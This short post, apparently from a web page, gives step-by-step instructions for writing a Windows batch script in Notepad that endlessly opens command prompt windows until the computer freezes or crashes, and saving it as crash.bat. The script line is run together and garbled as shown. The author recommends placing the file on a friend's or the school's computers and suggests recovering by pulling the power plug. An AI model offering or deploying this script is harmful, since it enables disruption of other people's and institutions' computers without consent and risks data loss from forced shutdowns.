Just go to notepad (start>all programs>accessories>notepad) and type exactly this script between the lines:
@echo off:crashstartgoto crash goto file>save as>crash.bat
and save! But remember when you open this file command prompt windows will open until the computer crashes or freezes so it would be better if you placed this on a friend's or the school's computers
There are different scripts that you can write in notepad to get a batch file with similar reactions
To recover your desktop from this just directly pull the plugs from your PC and put the plugs back in and start it up again or just hold the power button on your PC until it turns off and restart again.
